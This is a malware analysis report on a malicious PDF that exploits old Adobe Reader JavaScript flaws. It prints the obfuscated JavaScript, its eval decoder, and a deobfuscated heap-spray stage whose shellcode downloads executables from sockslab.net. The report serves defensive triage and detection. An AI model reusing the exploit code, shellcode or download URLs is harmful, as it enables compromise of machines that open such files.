Malicious PDF — malware analysis report

Static analysis result for SHA-256 32a4635268cf9109…

MALICIOUS

PDF

7.0 KB Created: 2009-09-11 19:42:02 Authoring application: Eblasha 1.4.9.7 (via PDF Library 6.2.8.9) First seen: 2012-07-12
MD5: 79cda126f747910a22edbed5b72e5592 SHA-1: 95f30baf889490dcf358a9295c1e00a5e9fac3ec SHA-256: 32a4635268cf910930528f4c009485040e9bfe73cfe134752c77f02b44dcd0b2
608 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The presence of PDF_EVAL and PDF_FROMCHARCODE suggests obfuscated JavaScript code is being used to execute arbitrary commands. ClamAV detection as 'Pdf.Dropper.Agent-7246716-0' further confirms its malicious nature. The primary function appears to be downloading and executing a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 15

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7246716-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7246716-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var dfqy=0, bfgo='';dfqy<5328;dfqy++){bfgo += String.fromCharCode(fra[dfqy]-'uzPlKnd'.substring(dfqy%'uzPlKnd'.length,dfqy%'uzPlKnd'.length+1).charCodeAt(0));}eval(bfgo);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • PDF differential parser failed info PDF_DIFFERENTIAL_PARSE_FAILED
    The cross-check parser (pdfminer.six) failed on this file: PDF differential parser failed: PSEOF. Static heuristics still ran and any of their findings above are valid; only the differential cross-check signal is missing.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://sockslab.net/2/cehilprxy3.exe Referenced by PDF JavaScript
    • http://sockslab.net/2/abefhjmvz3.exeReferenced by PDF JavaScript
    • http://sockslab.net/2/fgijmrxy3.exeReferenced by PDF JavaScript

Related samples 1

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21316 bytes
SHA-256: a8029ad0dd1c1d8485c7d80a4c663a5c59f4327ae857547cd4fe4fb3fd9d3683
Preview script
First 1,000 lines of the extracted script
var fra=[219,239,190,207,191,215,211,227,154,182,213,195,205,205,233,162,201,205,189,225,212,161,230,181,218,116,233,219,221,227,188,209,115,231,197,231,237,192,154,183,211,210,220,238,184,150,125,170,208,218,232,121,231,196,207,214,232,234,123,169,196,207,214,232,234,139,233,85,231,197,231,237,192,169,196,207,214,232,234,126,223,192,208,215,233,236,185,218,178,150,148,161,230,181,218,122,160,141,176,236,181,224,192,224,210,149,243,177,222,190,222,159,242,132,182,225,185,209,216,222,233,190,140,192,226,205,225,217,192,222,180,220,216,219,162,121,231,193,207,214,149,234,177,229,183,221,197,217,183,197,218,176,225,199,214,234,181,148,109,147,217,171,174,137,156,112,227,149,173,187,129,145,192,158,148,165,170,117,225,131,176,148,165,159,197,159,123,162,148,154,239,132,156,131,176,137,234,178,146,161,127,147,217,165,174,132,156,112,227,152,165,178,146,145,192,166,166,165,174,117,225,123,162,152,165,159,197,158,123,158,168,154,239,130,156,123,158,137,234,173,148,156,123,147,217,165,170,135,175,112,227,148,165,177,135,145,192,158,149,172,174,117,225,126,161,167,168,159,197,162,127,177,148,154,239,132,156,131,176,137,234,177,136,159,123,147,217,173,188,128,175,112,227,148,184,174,128,145,192,165,148,173,188,117,225,140,178,149,184,159,197,161,131,166,166,154,239,149,174,123,166,137,234,178,146,156,132,147,217,168,174,132,156,112,227,152,165,178,148,145,192,166,166,172,189,117,225,126,177,153,173,159,197,160,127,164,165,154,239,148,157,128,175,137,234,172,146,177,125,147,217,173,188,149,158,112,227,169,183,191,147,145,192,163,165,169,192,117,225,131,161,153,167,159,197,161,129,179,165,154,239,133,161,131,167,137,234,175,134,156,127,147,217,173,188,133,163,112,227,151,184,177,131,145,192,165,152,173,188,117,225,130,166,151,168,159,197,178,126,158,151,154,239,136,174,128,164,137,234,172,128,163,129,147,217,187,173,128,159,112,227,167,174,173,131,145,192,163,148,169,179,117,225,140,178,152,166,159,197,178,145,161,151,154,239,128,178,126,164,137,234,171,132,174,144,147,217,168,178,128,159,112,227,155,169,192,130,145,192,177,149,165,178,117,225,123,178,167,187,159,197,178,140,158,151,154,239,149,174,127,158,137,234,175,136,177,145,147,217,187,178,131,174,112,227,169,170,177,133,145,192,166,166,170,191,117,225,125,162,152,171,159,197,175,126,158,151,154,239,136,174,129,164,137,234,174,136,156,142,147,217,170,176,136,174,112,227,148,168,171,147,145,192,166,166,185,173,117,225,131,175,148,169,159,197,175,126,158,151,154,239,133,177,128,180,137,234,189,131,161,123,147,217,172,190,136,176,112,227,153,172,170,136,145,192,176,156,170,172,117,225,142,175,151,168,159,197,161,141,166,165,154,239,145,158,144,166,137,234,192,150,178,145,147,217,168,172,150,178,112,227,156,183,189,128,145,192,180,150,187,177,117,225,127,180,165,186,159,197,163,128,176,156,154,239,134,161,125,179,137,234,187,146,163,131,147,217,174,178,134,162,112,227,165,183,176,134,145,192,177,148,168,173,117,225,129,159,166,173,159,197,156,123,164,152,154,239,133,156,123,158,137,234,175,132,162,131,147,217,172,172,134,164,112,227,151,170,176,133,145,192,159,167,167,174,117,225,130,162,154,174,159,197,161,127,163,148,154,239,146,164,128,161,137,234,192,147,173,140,147,217,172,189,128,176,112,227,153,170,192,150,145,192,166,166,165,174,117,225,131,161,170,173,159,197,156,142,177,152,154,239,134,175,141,158,137,234,191,128,164,140,147,217,170,170,137,164,112,227,154,187,176,136,145,192,160,169,171,191,117,225,129,166,154,169,159,197,163,125,165,153,154,239,134,176,129,177,137,234,188,136,161,127,147,217,169,191,136,177,112,227,169,184,170,149,145,192,163,153,187,192,117,225,132,161,148,169,159,197,159,126,163,148,154,239,133,156,142,158,137,234,175,134,161,123,147,217,170,175,136,174,112,227,156,168,170,132,145,192,165,170,184,172,117,225,142,160,156,168,159,197,161,125,162,167,154,239,146,164,128,158,137,234,171,145,159,129,147,217,172,170,130,178,112,227,153,170,192,150,145,192,163,166,165,174,117,225,128,164,153,172,159,197,165,131,176,156,154,239,136,173,145,179,137,234,192,150,156,144,147,217,165,174,133,161,112,227,148,165,176,145,145,192,178,155,187,192,117,225,130,162,154,173,159,197,163,123,165,152,154,239,130,178,126,175,137,234,177,131,158,145,147,217,171,173,134,178,112,227,155,168,176,146,145,192,164,149,171,189,117,225,125,179,154,167,159,197,162,128,164,169,154,239,130,178,130,162,137,234,172,150,159,125,147,217,171,175,134,159,112,227,154,174,176,136,145,192,165,148,171,189,117,225,130,166,155,167,159,197,159,126,165,157,154,239,134,161,125,179,137,234,176,133,163,131,147,217,165,170,128,156,109,151,159,235,219,194,140,185,221,212,178,239,190,209,190,209,197,229,223,120,142,112,227,148,182,170,145,145,192,158,165,165,187,117,225,123,175,148,182,159,197,156,140,158,165,151,163,90,226,172,224,132,221,223,177,220,173,218,211,216,229,141,218,186,222,143,229,219,201,216,186,207,200,176,240,177,222,107,208,205,220,220,188,219,174,217,161,234,232,181,223,174,207,212,218,162,114,145,192,158,165,165,187,117,225,123,175,148,182,156,121,167,193,207,214,149,226,181,205,175,211,214,232,227,202,209,136,160,148,176,240,177,222,107,225,212,231,219,201,169,179,211,197,217,223,194,223,180,232,201,160,226,181,205,187,208,208,228,221,187,154,183,211,210,220,238,184,167,194,214,205,225,223,120,206,180,213,198,225,233,179,215,121,218,201,227,225,196,212,135,225,212,231,219,201,149,198,208,205,220,220,188,219,174,217,143,178,220,185,211,173,218,211,216,229,139,233,85,228,197,231,154,182,213,183,218,198,225,233,179,215,136,208,205,220,220,188,219,174,217,146,232,239,178,223,191,224,205,227,225,120,156,119,225,212,231,219,201,149,134,228,197,231,154,178,216,186,209,207,178,220,185,211,173,218,211,216,229,126,223,192,208,215,233,236,185,218,178,150,148,161,220,185,211,173,218,211,216,229,126,216,176,220,203,233,226,125,223,187,224,197,238,163,139,227,179,215,208,218,162,178,216,186,209,207,163,230,181,218,178,226,204,160,237,192,222,172,231,160,165,242,132,156,123,158,148,158,245,178,216,186,209,207,178,220,188,219,174,217,143,215,230,191,207,182,153,202,222,230,188,206,183,221,199,224,181,205,118,193,207,214,149,231,181,217,170,207,214,231,219,201,169,185,211,219,149,187,194,222,172,231,140,158,181,182,219,189,150,218,214,236,112,213,136,158,159,222,182,129,160,123,158,159,222,165,123,149,198,219,201,226,217,177,222,189,207,221,208,227,173,169,173,218,211,216,229,123,212,176,207,212,215,230,191,207,182,169,225,127,240,177,222,107,220,217,226,183,129,158,132,167,157,174,179,137,165,132,167,157,174,179,137,165,132,167,157,174,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,131,166,156,173,178,136,164,134,227,216,222,230,126,220,189,215,210,233,224,120,142,112,162,153,165,170,128,210,109,154,210,234,231,121,167,200,120,202,234,232,179,224,180,221,210,149,221,191,216,183,207,198,212,223,189,205,180,218,140,158,245,198,205,189,142,215,221,223,188,216,174,221,200,218,183,197,218,176,225,199,214,234,181,148,109,147,217,171,174,137,156,112,227,149,173,187,129,145,192,158,148,165,170,117,225,131,176,148,165,159,197,159,123,162,148,154,239,132,156,131,176,137,234,178,146,161,127,147,217,165,174,132,156,112,227,152,165,178,146,145,192,166,166,165,174,117,225,123,162,152,165,159,197,158,123,158,168,154,239,130,156,123,158,137,234,173,148,156,123,147,217,165,170,135,175,112,227,148,165,177,135,145,192,158,149,172,174,117,225,126,161,167,168,159,197,162,127,177,148,154,239,132,156,131,176,137,234,177,136,159,123,147,217,173,188,128,175,112,227,148,184,174,128,145,192,165,148,173,188,117,225,140,178,149,184,159,197,161,131,166,166,154,239,149,174,123,166,137,234,178,146,156,132,147,217,168,174,132,156,112,227,152,165,178,148,145,192,166,166,172,189,117,225,126,177,153,173,159,197,160,127,164,165,154,239,148,157,128,175,137,234,172,146,177,125,147,217,173,188,149,158,112,227,169,183,191,147,145,192,163,165,169,192,117,225,131,161,153,167,159,197,161,129,179,165,154,239,133,161,131,167,137,234,175,134,156,127,147,217,173,188,133,163,112,227,151,184,177,131,145,192,165,152,173,188,117,225,130,166,151,168,159,197,178,126,158,151,154,239,136,174,128,164,137,234,172,128,163,129,147,217,187,173,128,159,112,227,167,174,173,131,145,192,163,148,169,179,117,225,140,178,152,166,159,197,178,145,161,151,154,239,128,178,126,164,137,234,171,132,174,144,147,217,168,178,128,159,112,227,155,169,192,130,145,192,177,149,165,178,117,225,123,178,167,187,159,197,178,140,158,151,154,239,149,174,127,158,137,234,175,136,177,145,147,217,187,178,131,174,112,227,169,170,177,133,145,192,166,166,170,191,117,225,125,162,152,171,159,197,175,126,158,151,154,239,136,174,129,164,137,234,174,136,156,142,147,217,170,176,136,174,112,227,148,168,171,147,145,192,166,166,185,173,117,225,131,175,148,169,159,197,175,126,158,151,154,239,133,177,128,180,137,234,189,131,161,123,147,217,172,190,136,176,112,227,153,172,170,136,145,192,176,156,170,172,117,225,142,175,151,168,159,197,161,141,166,165,154,239,145,158,144,166,137,234,192,150,178,145,147,217,168,172,150,178,112,227,156,183,189,128,145,192,180,150,187,177,117,225,127,180,165,186,159,197,163,128,176,156,154,239,134,161,125,179,137,234,187,146,163,131,147,217,174,178,134,162,112,227,165,183,176,134,145,192,177,148,168,173,117,225,129,159,166,173,159,197,156,123,164,152,154,239,133,156,123,158,137,234,175,132,162,131,147,217,172,172,134,164,112,227,151,170,176,133,145,192,159,167,167,174,117,225,130,162,154,174,159,197,161,127,163,148,154,239,146,164,128,161,137,234,192,147,173,140,147,217,172,189,128,176,112,227,153,170,192,150,145,192,166,166,165,174,117,225,131,161,170,173,159,197,156,142,177,152,154,239,134,175,141,158,137,234,191,128,164,140,147,217,170,170,137,164,112,227,154,187,176,136,145,192,160,169,171,191,117,225,129,166,154,169,159,197,163,125,165,153,154,239,134,176,129,177,137,234,188,136,161,127,147,217,169,191,136,177,112,227,169,184,170,149,145,192,163,153,187,192,117,225,132,161,148,169,159,197,159,126,163,148,154,239,133,156,142,158,137,234,175,134,161,123,147,217,170,175,136,174,112,227,156,168,170,132,145,192,165,170,184,172,117,225,142,160,156,168,159,197,161,125,162,167,154,239,146,164,128,158,137,234,171,145,159,129,147,217,172,170,130,178,112,227,153,170,192,150,145,192,163,166,165,174,117,225,128,164,153,172,159,197,165,131,176,156,154,239,136,173,145,179,137,234,192,150,156,144,147,217,165,174,133,161,112,227,148,165,176,145,145,192,178,155,187,192,117,225,130,162,154,173,159,197,163,123,165,152,154,239,130,178,126,175,137,234,177,131,158,145,147,217,171,173,134,178,112,227,155,168,176,146,145,192,164,149,171,189,117,225,125,179,154,167,159,197,162,128,164,169,154,239,130,178,130,162,137,234,172,150,159,125,147,217,171,172,134,157,112,227,154,171,176,133,145,192,164,165,171,178,117,225,130,164,154,185,159,197,159,126,165,165,154,239,134,161,125,179,137,234,176,133,163,131,147,217,165,170,128,156,109,151,159,235,219,194,140,184,211,209,212,219,194,222,172,231,161,227,223,199,140,140,224,214,214,243,120,149,134,228,197,231,154,179,207,136,158,220,165,221,128,207,123,209,148,216,181,198,205,189,142,197,217,222,194,169,123,230,152,165,170,128,156,123,169,218,214,236,112,223,174,205,208,218,232,141,223,179,211,208,225,221,191,208,176,156,208,218,232,183,224,179,152,150,176,240,177,222,107,218,201,227,183,177,208,175,224,145,157,237,179,203,183,211,210,160,170,200,159,131,151,159,235,219,194,140,196,207,214,232,234,141,225,185,211,215,216,219,192,209,115,144,137,234,179,128,165,123,147,217,174,170,137,156,109,151,159,238,219,194,223,187,171,202,222,242,175,213,191,150,221,214,236,195,220,119,218,201,227,163,139,226,172,224,132,216,233,197,218,191,160,161,157,221,179,153,123,230,152,165,170,128,156,123,151,147,214,222,180,222,134,212,211,231,162,198,205,189,142,199,228,239,190,224,136,158,159,216,233,197,218,191,170,199,228,239,190,224,125,169,199,228,239,190,224,118,153,141,240,231,181,217,170,207,214,231,219,201,199,174,221,217,227,238,173,169,196,207,214,232,234,123,223,179,211,208,225,221,191,208,176,169,225,127,240,177,222,107,221,218,218,236,182,216,186,229,161,234,232,181,223,174,207,212,218,162,114,145,192,158,199,165,221,117,225,123,209,148,216,156,121,167,194,214,205,225,223,120,219,193,211,214,219,230,191,227,121,218,201,227,225,196,212,135,162,152,174,175,130,149,198,221,218,218,236,182,216,186,229,143,178,233,198,209,189,212,208,228,241,139,233,85,226,204,222,237,126,207,186,218,208,214,220,163,224,186,224,201,178,189,191,216,183,207,198,163,221,191,216,183,211,199,233,191,189,205,180,218,173,227,224,191,148,198,225,217,215,228,138,142,109,154,209,232,225,138,219,193,211,214,219,230,191,227,200,151,159,242,132,182,225,185,209,216,222,233,190,140,174,221,208,225,219,178,203,178,211,216,222,221,191,218,115,151,223,222,224,120,205,187,222,146,217,233,179,154,142,221,208,225,219,178,154,178,211,216,190,221,191,218,116,233,218,214,236,112,205,189,224,221,178,232,181,227,107,175,214,231,219,201,148,116,169,218,214,236,112,226,193,222,201,233,226,201,205,136,227,210,218,237,179,205,187,211,140,151,159,197,162,127,167,148,154,239,129,164,140,159,137,234,170,128,156,123,147,217,173,188,128,156,112,227,151,165,174,128,145,192,162,148,173,188,117,225,131,176,153,169,159,197,156,127,162,148,154,239,132,156,131,176,137,234,178,146,156,127,147,217,165,174,132,156,112,227,150,165,170,148,145,192,160,148,165,170,117,225,126,178,148,165,159,197,156,123,165,167,154,239,128,156,130,165,137,234,170,129,163,127,147,217,168,173,147,159,112,227,154,169,189,128,145,192,162,148,173,188,117,225,130,166,151,165,159,197,164,141,158,167,154,239,128,175,127,158,137,234,177,128,164,141,147,217,182,190,129,175,112,227,153,173,178,146,145,192,179,166,165,178,117,225,131,176,148,174,159,197,159,127,162,148,154,239,132,156,131,178,137,234,178,146,163,142,147,217,168,189,133,164,112,227,152,169,176,145,145,192,178,149,170,187,117,225,125,176,169,167,159,197,164,141,179,150,154,239,149,174,144,177,137,234,175,145,160,145,147,217,173,173,133,158,112,227,153,171,191,145,145,192,163,153,173,179,117,225,128,164,148,169,159,197,164,141,163,155,154,239,131,175,130,161,137,234,177,132,164,141,147,217,172,178,131,159,112,227,170,168,170,131,145,192,166,166,170,176,117,225,125,158,155,171,159,197,178,126,158,151,154,239,147,165,126,161,137,234,175,128,160,132,147,217,182,190,132,157,112,227,170,187,173,131,145,192,158,170,168,176,117,225,124,162,166,186,159,197,159,131,158,151,154,239,135,160,145,160,137,234,189,129,156,131,147,217,165,190,147,178,112,227,170,182,170,131,145,192,179,166,169,170,117,225,128,166,169,187,159,197,178,131,161,166,154,239,149,161,130,163,137,234,178,146,161,144,147,217,167,174,132,162,112,227,167,168,170,131,145,192,166,166,171,176,117,225,127,166,148,184,159,197,161,129,166,166,154,239,128,159,124,177,137,234,178,146,176,126,147,217,173,187,128,160,112,227,167,168,170,131,145,192,163,169,170,192,117,225,142,161,153,165,159,197,163,143,166,168,154,239,133,163,123,166,137,234,188,136,161,125,147,217,184,187,131,159,112,227,153,183,178,145,145,192,175,150,186,178,117,225,145,180,170,187,159,197,159,125,180,170,154,239,136,174,142,158,137,234,192,130,178,130,147,217,169,192,145,177,112,227,155,170,188,136,145,192,164,153,167,191,117,225,140,176,155,173,159,197,165,131,164,154,154,239,145,174,129,164,137,234,189,128,159,126,147,217,171,171,146,164,112,227,148,165,176,132,145,192,163,148,165,170,117,225,128,162,154,173,159,197,163,125,164,156,154,239,131,161,129,163,137,234,171,147,158,127,147,217,172,174,134,165,112,227,153,169,175,128,145,192,176,156,170,173,117,225,145,177,165,182,159,197,163,142,158,168,154,239,133,161,145,180,137,234,178,146,156,127,147,217,173,173,150,164,112,227,148,184,189,132,145,192,164,167,183,170,117,225,144,158,156,182,159,197,161,123,167,156,154,239,134,178,129,166,137,234,172,149,162,144,147,217,171,178,134,160,112,227,155,167,177,133,145,192,164,168,171,189,117,225,141,166,153,169,159,197,160,144,166,169,154,239,149,175,123,179,137,234,175,133,178,145,147,217,174,173,128,160,112,227,151,168,175,128,145,192,163,148,184,170,117,225,128,164,153,165,159,197,161,128,166,166,154,239,136,159,123,162,137,234,177,150,175,125,147,217,184,172,136,159,112,227,153,167,174,147,145,192,176,156,170,170,117,225,124,175,151,171,159,197,163,123,160,170,154,239,133,161,145,180,137,234,175,146,156,127,147,217,170,176,133,163,112,227,157,173,188,136,145,192,166,165,187,191,117,225,145,180,148,186,159,197,156,127,163,153,154,239,128,156,129,175,137,234,190,135,178,145,147,217,172,174,134,164,112,227,155,165,177,132,145,192,160,170,168,187,117,225,130,161,150,187,159,197,162,126,164,170,154,239,135,159,129,176,137,234,176,129,162,142,147,217,167,191,134,158,112,227,154,170,176,149,145,192,160,170,172,174,117,225,125,180,151,167,159,197,162,130,164,154,154,239,134,173,129,167,137,234,177,130,162,143,147,217,172,179,135,164,112,227,150,186,173,131,145,192,165,156,171,175,117,225,123,158,154,170,156,121,167,193,207,214,149,226,167,221,128,158,148,184,200,141,226,193,222,201,233,226,201,205,121,218,201,227,225,196,212,117,160,159,235,219,194,140,183,211,210,178,170,200,160,123,158,148,165,170,125,148,179,197,213,170,170,128,175,153,153,148,237,173,136,149,134,228,197,231,154,201,205,189,225,212,178,239,190,209,190,209,197,229,223,120,142,112,227,157,165,179,128,145,192,167,148,174,170,114,149,134,231,197,231,237,192,169,177,215,220,212,227,196,148,196,207,214,232,234,124,216,176,220,141,176,240,177,222,107,222,153,182,228,155,162,128,212,161,157,170,200,156,174,158,199,165,221,128,207,120,158,220,169,170,128,156,123,158,141,164,170,200,160,123,158,148,165,170,139,210,186,224,140,235,219,194,140,193,223,199,198,190,137,162,196,171,148,176,240,193,207,156,178,157,171,243,140,220,128,175,206,192,176,133,210,134,228,213,216,203,148,165,129,231,143,160,163,203,205,189,224,221,208,240,193,207,156,178,157,171,243,173,169,196,207,214,232,234,123,226,193,222,201,233,226,201,205,134,235,110,235,219,194,140,191,195,177,221,200,178,179,194,171,217,227,223,195,207,172,222,201,157,156,117,156,132,144,141,176,241,184,213,183,211,140,233,207,157,212,153,208,171,236,168,188,209,185,213,216,221,182,128,228,127,158,148,165,163,203,224,160,187,204,195,220,151,227,118,171,216,202,199,184,186,173,181,219,176,247,90,224,160,187,204,195,220,151,227,136,144,178,163,156,123,224,160,187,204,195,220,151,227,134,207,212,229,168,180,219,174,156,167,228,230,188,205,173,156,203,218,238,153,207,186,220,140,233,207,157,212,153,208,171,236,163,139,233,200,120,202,234,232,179,224,180,221,210,149,234,180,210,170,225,216,214,236,196,148,116,233,218,214,236,112,226,176,224,215,222,233,190,169,172,222,212,163,240,185,209,194,211,214,203,223,194,223,180,221,210,163,238,191,191,191,224,205,227,225,120,149,134,228,201,231,237,185,219,185,171,218,218,236,195,213,186,220,146,231,223,192,216,172,209,201,157,169,172,176,122,213,144,156,161,121,167,193,207,214,149,240,177,222,190,215,211,227,217,177,222,189,207,221,178,232,181,227,107,175,214,231,219,201,148,193,211,214,232,227,191,218,121,209,204,214,236,145,224,115,158,141,161,240,181,222,190,215,211,227,168,179,212,172,224,165,233,162,129,149,119,228,201,231,237,185,219,185,156,199,221,219,194,173,191,150,150,158,163,139,213,177,150,140,235,219,194,223,180,221,210,212,219,194,222,172,231,191,165,215,141,169,131,151,138,155,162,198,205,189,225,205,228,232,175,205,189,224,197,238,213,129,201,136,171,148,158,246,204,148,193,207,214,232,227,191,218,170,207,214,231,219,201,199,124,203,161,178,171,118,146,193,207,214,232,227,191,218,170,207,214,231,219,201,199,125,203,160,168,163,121,231,192,226,205,225,217,192,222,180,220,216,219,162,121,167,200,120,205,219,162,120,226,172,224,215,222,233,190,203,172,224,214,214,243,171,156,168,170,156,158,246,204,148,193,207,214,232,227,191,218,170,207,214,231,219,201,199,123,203,161,178,178,118,146,193,207,214,232,227,191,218,170,207,214,231,219,201,199,124,203,160,167,160,118,226,172,224,215,222,233,190,203,172,224,214,214,243,171,158,168,170,150,158,163,203,207,186,218,208,214,220,175,209,184,207,205,225,162,121,167,200,120,205,219,162,120,226,172,224,215,222,233,190,203,172,224,214,214,243,171,156,168,170,157,158,246,204,148,193,207,214,232,227,191,218,170,207,214,231,219,201,199,123,203,161,178,179,118,146,193,207,214,232,227,191,218,170,207,214,231,219,201,199,124,203,160,166,163,121,231,174,221,208,225,219,178,203,178,211,216,222,221,191,218,115,151,159,242,247,90,220,175,212,195,232,238,177,222,191,150,141,176];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x17D8 175 bytes
SHA-256: db988e2f65b5e797747c86e921e3e3d61f74d9455b26665d16bbc8370d14a2df
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var dfqy=0, bfgo='';dfqy<5328;dfqy++){bfgo += String.fromCharCode(fra[dfqy]-'uzPlKnd'.substring(dfqy%'uzPlKnd'.length,dfqy%'uzPlKnd'.length+1).charCodeAt(0));}eval(bfgo);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5328 bytes
SHA-256: d6721e9fe9b66ce90671eaa0a483f8a44b04fc98eeca5605db2297f10ec9ce7c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u732F%u636F%u736B%u616C%u2E62%u656E%u2F74%u2F32%u6563%u6968%u706C%u7872%u3379%u652E%u6578%u0000");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
